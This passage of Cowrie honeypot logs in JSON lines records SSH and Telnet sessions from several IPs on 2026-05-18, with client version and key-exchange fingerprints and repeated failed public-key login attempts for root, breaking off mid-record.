{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:a2:db:36:23:36:48:ae:d3:29:2d:92:44:67:a4:c7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhVeA3rVnWkVPODND88rbUmdGyANCKdrI2YyIdYF5Sv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ea:a2:db:36:23:36:48:ae:d3:29:2d:92:44:67:a4:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:07.915176Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:a2:db:36:23:36:48:ae:d3:29:2d:92:44:67:a4:c7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPhVeA3rVnWkVPODND88rbUmdGyANCKdrI2YyIdYF5Sv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:07.920692Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:29:97:f4:b2:ca:17:ea:1b:e7:c0:67:0a:d5:d4:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuASYnCcSSeVxSYnD6ItRcu1eIaoJ6JVGkWKVHadyRsWccEszBis9u/4UyU8siBXYOcPKlbApHm5wNUY0OPuk4J+QRHNegPQRv/Nqs9T7wcSuzp1adg2Bb+EacXcxHasQYDmOzqUlbB7CjCjrhuecg7Mw9cHhPbl5O3SuE+x6T8TE6sXrxAG56sni8lkl4j4IA+XHGdRt5EN5GSZUEdqPT+SVj4834b9R7gLiNwgEOCpQYr5ss4/KTIaR6ONREI0bN4WBGfviqUOQln5/QD8A+LXBSYYB57lVRJBsj4l0H6QdKFEaCgbES9Y2qebx7q1mwCQeLVk2o3HZYCazofYfN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:29:97:f4:b2:ca:17:ea:1b:e7:c0:67:0a:d5:d4:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:07.968579Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:29:97:f4:b2:ca:17:ea:1b:e7:c0:67:0a:d5:d4:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuASYnCcSSeVxSYnD6ItRcu1eIaoJ6JVGkWKVHadyRsWccEszBis9u/4UyU8siBXYOcPKlbApHm5wNUY0OPuk4J+QRHNegPQRv/Nqs9T7wcSuzp1adg2Bb+EacXcxHasQYDmOzqUlbB7CjCjrhuecg7Mw9cHhPbl5O3SuE+x6T8TE6sXrxAG56sni8lkl4j4IA+XHGdRt5EN5GSZUEdqPT+SVj4834b9R7gLiNwgEOCpQYr5ss4/KTIaR6ONREI0bN4WBGfviqUOQln5/QD8A+LXBSYYB57lVRJBsj4l0H6QdKFEaCgbES9Y2qebx7q1mwCQeLVk2o3HZYCazofYfN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:07.974204Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:e6:e4:ca:a4:46:49:b6:6e:8d:a7:85:21:bf:33:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkUozppKje2z2JwYO/MRq2yChoP8vzl56wjTUVdekzv+6d5JEZV5kKj54muZsDIdZ9ZuZ62T9HirohDjaqyzJEvNo0QC7Ofe37Uw/kjFLrsAgWOGctxOtsQiyXgkT90EnoJaWwl3wu998eMa4AVk3gEtC+5Y0AX17Z9pDbVfvwfC3m5SyZx7RukdDEENAtYTEh9QeFxN/V2MsM245oV/czGeNiZjY8/jJ2JFrGJsJ4Ywph7RNmUXgx9W6Lfe3T6wWjbyo587BB7qXsRcOzADaG6MjaUlSXPvYqxRUs7aqXJtLKoCYS3aNImFoOCJZAj1PQxZsa3DqJ6nUW2UOTsBjX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:e6:e4:ca:a4:46:49:b6:6e:8d:a7:85:21:bf:33:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:08.024347Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:e6:e4:ca:a4:46:49:b6:6e:8d:a7:85:21:bf:33:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkUozppKje2z2JwYO/MRq2yChoP8vzl56wjTUVdekzv+6d5JEZV5kKj54muZsDIdZ9ZuZ62T9HirohDjaqyzJEvNo0QC7Ofe37Uw/kjFLrsAgWOGctxOtsQiyXgkT90EnoJaWwl3wu998eMa4AVk3gEtC+5Y0AX17Z9pDbVfvwfC3m5SyZx7RukdDEENAtYTEh9QeFxN/V2MsM245oV/czGeNiZjY8/jJ2JFrGJsJ4Ywph7RNmUXgx9W6Lfe3T6wWjbyo587BB7qXsRcOzADaG6MjaUlSXPvYqxRUs7aqXJtLKoCYS3aNImFoOCJZAj1PQxZsa3DqJ6nUW2UOTsBjX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:08.028312Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:6d:9b:83:f3:2b:48:31:03:ac:80:50:61:1c:d3:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzH/vzjgvJOy2gSpwC+OUoVAoAMQL7S/7tFc488sxz1JO2TolpKYzWCN0FCoYybM9T2HRYPXjUHIMUOV+g6ybSH5NdrC0Vfklfprda439LCN8MnCT10AulBhIz8Dp5M1Ll1GUSbMLMjvfm3BxopxZtG72sdWUnJS9Z6crZiMWjezSSTnuAn0hyK+vJMylca8j6a6YVDrWgVPEcx6AIh0Y/EpKWt0GfxjU940JkU+jC5/7tMEA0dKJL5FgENgphnYrjM+5vw4HMhdqzu0frCJZdrFrTmHcaWcqiT/t8wMt3+kRy2T3bZarCvttBnfQVeczPuhXIkXxsOp6jR8Le9r2Tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:6d:9b:83:f3:2b:48:31:03:ac:80:50:61:1c:d3:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:08.076514Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:6d:9b:83:f3:2b:48:31:03:ac:80:50:61:1c:d3:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzH/vzjgvJOy2gSpwC+OUoVAoAMQL7S/7tFc488sxz1JO2TolpKYzWCN0FCoYybM9T2HRYPXjUHIMUOV+g6ybSH5NdrC0Vfklfprda439LCN8MnCT10AulBhIz8Dp5M1Ll1GUSbMLMjvfm3BxopxZtG72sdWUnJS9Z6crZiMWjezSSTnuAn0hyK+vJMylca8j6a6YVDrWgVPEcx6AIh0Y/EpKWt0GfxjU940JkU+jC5/7tMEA0dKJL5FgENgphnYrjM+5vw4HMhdqzu0frCJZdrFrTmHcaWcqiT/t8wMt3+kRy2T3bZarCvttBnfQVeczPuhXIkXxsOp6jR8Le9r2Tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:08.081630Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:58:6e:02:9e:26:86:c8:39:54:ed:03:a7:65:12:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvG2gbvfNe/vpFq6r9C0fG2vBbiinHkUQHvkGanJsyZpdNnerizALILL1I4rcFovZS08O9rtkVHPSRPBMqwtC9FnmC29XVnfyzepJ9eNzLaTfe7tDp6Wefl57IAqF+C/IrEfYbR7RgGTmv4PleIDksGCEBduwGv2Otvu2nf/MDYHfjjzufPskRxbdvd1N6faXJGsg++kztIdvyTB/DHpDptQV+H6sR4NaBvmhECh40txW0ReEWw+McIADGkpDgCS810OJq97YdPaEzaa1jL7Fw5zWyNqouIVVSRmTyHpxWBGQb97bR1kPVUzJEkFFBgxN9G2QNGv8Sc/kOJSfW9BEn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:58:6e:02:9e:26:86:c8:39:54:ed:03:a7:65:12:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:08.128942Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:58:6e:02:9e:26:86:c8:39:54:ed:03:a7:65:12:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvG2gbvfNe/vpFq6r9C0fG2vBbiinHkUQHvkGanJsyZpdNnerizALILL1I4rcFovZS08O9rtkVHPSRPBMqwtC9FnmC29XVnfyzepJ9eNzLaTfe7tDp6Wefl57IAqF+C/IrEfYbR7RgGTmv4PleIDksGCEBduwGv2Otvu2nf/MDYHfjjzufPskRxbdvd1N6faXJGsg++kztIdvyTB/DHpDptQV+H6sR4NaBvmhECh40txW0ReEWw+McIADGkpDgCS810OJq97YdPaEzaa1jL7Fw5zWyNqouIVVSRmTyHpxWBGQb97bR1kPVUzJEkFFBgxN9G2QNGv8Sc/kOJSfW9BEn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:08.137135Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:08.184133Z","src_ip":"74.208.91.1","session":"2d9df52b3349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.58714270591736,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:09.540458Z","src_ip":"152.42.224.71","session":"40f7c734efd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.59.54.34","src_port":42040,"dst_ip":"10.17.0.5","dst_port":22,"session":"84f91d4b9c58","protocol":"ssh","message":"New connection: 137.59.54.34:42040 (10.17.0.5:22) [session: 84f91d4b9c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:11.217873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:11.223176Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:11.428638Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:2f:58:d7:27:b6:11:47:db:82:b4:47:22:e1:cc:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkQB1rEIpeVytFGmluxlPHKJNQYRYXxsiJTqxJTgQCakTIqGiqM7nDlqJhDYbbLy4hMZfbMN6ma+5L+QsUtfbBoDcZJea6wDE/MkuPzW1EUSF+G93RpDJ59S6zjzFHSLOqqhUzoSOJttu9Ip5PA8uWvfVqcLyZJ2/Y3v7r/xOfiR3jJTAEFjfwMXMBJL6bM5onpSttl+EsZAIE0f/EP57W7lLo5z6/MoOpOTeG/F9D/5UrM/ay76vohPCOi1nYGZEAARlEKdSPuMda6RU/eFWRQruufnfWtMWvDEyQjpKr+ECdkWGdi7nEomv6BkN1yAVy9Ox35VOt5+cXTfaTXsLj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:2f:58:d7:27:b6:11:47:db:82:b4:47:22:e1:cc:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:12.415648Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:2f:58:d7:27:b6:11:47:db:82:b4:47:22:e1:cc:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkQB1rEIpeVytFGmluxlPHKJNQYRYXxsiJTqxJTgQCakTIqGiqM7nDlqJhDYbbLy4hMZfbMN6ma+5L+QsUtfbBoDcZJea6wDE/MkuPzW1EUSF+G93RpDJ59S6zjzFHSLOqqhUzoSOJttu9Ip5PA8uWvfVqcLyZJ2/Y3v7r/xOfiR3jJTAEFjfwMXMBJL6bM5onpSttl+EsZAIE0f/EP57W7lLo5z6/MoOpOTeG/F9D/5UrM/ay76vohPCOi1nYGZEAARlEKdSPuMda6RU/eFWRQruufnfWtMWvDEyQjpKr+ECdkWGdi7nEomv6BkN1yAVy9Ox35VOt5+cXTfaTXsLj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:12.419805Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:e5:b6:25:ca:39:2b:ae:84:6f:9d:48:59:fe:50:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkaU4JslsgR7XUB+iZEDgAQwYxN7/GgeI0LTo0AaKqcrdCWzqfrrYXUMjCF2Z7keEXsD5p1xcqkC4K0O8D4XbwK7BCjgyYVxgfc11yEOSSqk6tZ+EqOwu38HvMFR8v7EsE5XzDwbmlFTauqG/FzRJ4piSAojB9x2P+Mld8dU5zjAq0Gi1wLnHQRs3UlE+ENg8z0uAUChytJi9cUwJehS3KbwbTgWzNXWFdDMo6cB1vU7ZJgj7k81dfdZwxV/WSz6R9EC8DDccnEHQHv7p/oWaZaNaJbNcQkguPVaRVOmwZc10OTY0itFyBx4pN8CfjNvr0Yf6DyyBQKcROMsMs9rHj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:e5:b6:25:ca:39:2b:ae:84:6f:9d:48:59:fe:50:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:12.622483Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:e5:b6:25:ca:39:2b:ae:84:6f:9d:48:59:fe:50:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkaU4JslsgR7XUB+iZEDgAQwYxN7/GgeI0LTo0AaKqcrdCWzqfrrYXUMjCF2Z7keEXsD5p1xcqkC4K0O8D4XbwK7BCjgyYVxgfc11yEOSSqk6tZ+EqOwu38HvMFR8v7EsE5XzDwbmlFTauqG/FzRJ4piSAojB9x2P+Mld8dU5zjAq0Gi1wLnHQRs3UlE+ENg8z0uAUChytJi9cUwJehS3KbwbTgWzNXWFdDMo6cB1vU7ZJgj7k81dfdZwxV/WSz6R9EC8DDccnEHQHv7p/oWaZaNaJbNcQkguPVaRVOmwZc10OTY0itFyBx4pN8CfjNvr0Yf6DyyBQKcROMsMs9rHj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:12.626450Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:1a:07:c8:ca:57:04:8e:a1:b8:dc:0f:8e:5c:6a:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQFbPmqoYEMpyXf18CVbaNuPKUdPg+UJYYVd0nrolu0jgc0dUbxmOBB+IJPWnYCXzSg4hqayxR+cmj4492JnjCvOuhgSwuiOkWGFNtDJoFsxOv6R8HsHUkpcgGxCubKoTPB50587kPMo7+KGvUuJdPvkHHjiIH9lnpncbq4xKRXVoaI6l5b2KOq25mMVjBUDJpRfmDf/6+QbLeU1yA5KGH/Tv1+PtwIkG6xp75Tyvd1CBdnlvah/fvMQbD5ZHNCziX/ORF0YFoXicQDs1O271hMfChU4lCAcyIvudQBPzovD3/slvpmf2tXj4yljO0EL54qhTXnavAkyJrGoEasYbklSIimv42HgNoBkmgpXSUqqbO+ARDAbbhA+hCITpBRjGEQfCu7ya/MJwqJDrcRwTQLt/JnMFEJEAkvt2HrlzrmXizsSJd5xsxt3K/58JLf7FpKQWzCBVbCcR5olX090wxbEaOV018xbhBoMehhOjkxHWUZOCePctjguf///tPkqU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:1a:07:c8:ca:57:04:8e:a1:b8:dc:0f:8e:5c:6a:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:12.832899Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:1a:07:c8:ca:57:04:8e:a1:b8:dc:0f:8e:5c:6a:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQFbPmqoYEMpyXf18CVbaNuPKUdPg+UJYYVd0nrolu0jgc0dUbxmOBB+IJPWnYCXzSg4hqayxR+cmj4492JnjCvOuhgSwuiOkWGFNtDJoFsxOv6R8HsHUkpcgGxCubKoTPB50587kPMo7+KGvUuJdPvkHHjiIH9lnpncbq4xKRXVoaI6l5b2KOq25mMVjBUDJpRfmDf/6+QbLeU1yA5KGH/Tv1+PtwIkG6xp75Tyvd1CBdnlvah/fvMQbD5ZHNCziX/ORF0YFoXicQDs1O271hMfChU4lCAcyIvudQBPzovD3/slvpmf2tXj4yljO0EL54qhTXnavAkyJrGoEasYbklSIimv42HgNoBkmgpXSUqqbO+ARDAbbhA+hCITpBRjGEQfCu7ya/MJwqJDrcRwTQLt/JnMFEJEAkvt2HrlzrmXizsSJd5xsxt3K/58JLf7FpKQWzCBVbCcR5olX090wxbEaOV018xbhBoMehhOjkxHWUZOCePctjguf///tPkqU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:12.837198Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:83:ae:95:4c:57:a9:d7:12:bb:fb:c2:61:48:66:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi1KTXhcm1h0t9B/SQ5fYEQnLnu/SmCIWpChBlTCjcXOKSW50cZqV3JSXgbAIOBV2dmL0+RhTZdnzUoI53iLoV9aVnN7El28gg0jLZwSUvAxpb5MhNlJ/qo7t/IVnWyPA8SIwJJ8SVr1gwhaxIlyBSkTGeuBfN/0HGeir9IE94MsCHc9W7Kkdu4ANNhu3vdNL4Befz9xSf9G12qrC45Hbubge1YCa+5X3MlEplT2TDNIT0yQIr+sL+8HRcr8Bx4cMEblub9wPmlE65FXAWFt63/JUWJNdTO5VSi8UIqgDj3TawL/qus8I1sEN9tWRRDwg03laKcH07RzVy+Rx3Zec7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:83:ae:95:4c:57:a9:d7:12:bb:fb:c2:61:48:66:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:13.039418Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:83:ae:95:4c:57:a9:d7:12:bb:fb:c2:61:48:66:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi1KTXhcm1h0t9B/SQ5fYEQnLnu/SmCIWpChBlTCjcXOKSW50cZqV3JSXgbAIOBV2dmL0+RhTZdnzUoI53iLoV9aVnN7El28gg0jLZwSUvAxpb5MhNlJ/qo7t/IVnWyPA8SIwJJ8SVr1gwhaxIlyBSkTGeuBfN/0HGeir9IE94MsCHc9W7Kkdu4ANNhu3vdNL4Befz9xSf9G12qrC45Hbubge1YCa+5X3MlEplT2TDNIT0yQIr+sL+8HRcr8Bx4cMEblub9wPmlE65FXAWFt63/JUWJNdTO5VSi8UIqgDj3TawL/qus8I1sEN9tWRRDwg03laKcH07RzVy+Rx3Zec7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:13.043072Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:42:d9:cd:da:40:ae:4a:d2:46:34:00:0d:f2:e9:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdmpnvHxW6lE30xKD8DiwpWVkeF7zhf8OybNDJnzUs+xxI/RFfbzHklnOMY2PKKZRI2cZ9QFWyfXQhE8tI/GfyDdoF8O0qph+rv7V3Q61tRXSswLkceDllrOWrHdZXlefGu56qSIfO1uRQFu1bhFxPfuFsCYSqot9oInZ+y56/zM9h+hqXtCR4tQRfBflqRvIN4neYuxvQXo4R1PKpbY9td0mL2jFUAQ6bhKOVXZ5uiWNP5ZIkBwCTFNAR66qNeg4yOfndcQtyL+/PTetvqXYCqYj7Nf2wDfew2CE05wfqx3fADi1qsocBDeDx8x+hWfdljrqHsJAno4WhXFLkiQj5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:42:d9:cd:da:40:ae:4a:d2:46:34:00:0d:f2:e9:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:13.245446Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:42:d9:cd:da:40:ae:4a:d2:46:34:00:0d:f2:e9:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdmpnvHxW6lE30xKD8DiwpWVkeF7zhf8OybNDJnzUs+xxI/RFfbzHklnOMY2PKKZRI2cZ9QFWyfXQhE8tI/GfyDdoF8O0qph+rv7V3Q61tRXSswLkceDllrOWrHdZXlefGu56qSIfO1uRQFu1bhFxPfuFsCYSqot9oInZ+y56/zM9h+hqXtCR4tQRfBflqRvIN4neYuxvQXo4R1PKpbY9td0mL2jFUAQ6bhKOVXZ5uiWNP5ZIkBwCTFNAR66qNeg4yOfndcQtyL+/PTetvqXYCqYj7Nf2wDfew2CE05wfqx3fADi1qsocBDeDx8x+hWfdljrqHsJAno4WhXFLkiQj5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:13.249352Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:13.451915Z","src_ip":"137.59.54.34","session":"84f91d4b9c58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.92097187042236,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:19.523376Z","src_ip":"152.42.224.71","session":"7c81ad69875b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":42144,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b1481c170c2","protocol":"ssh","message":"New connection: 45.137.172.116:42144 (10.17.0.5:22) [session: 4b1481c170c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:22.081291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:41:22.086994Z","src_ip":"45.137.172.116","session":"4b1481c170c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384",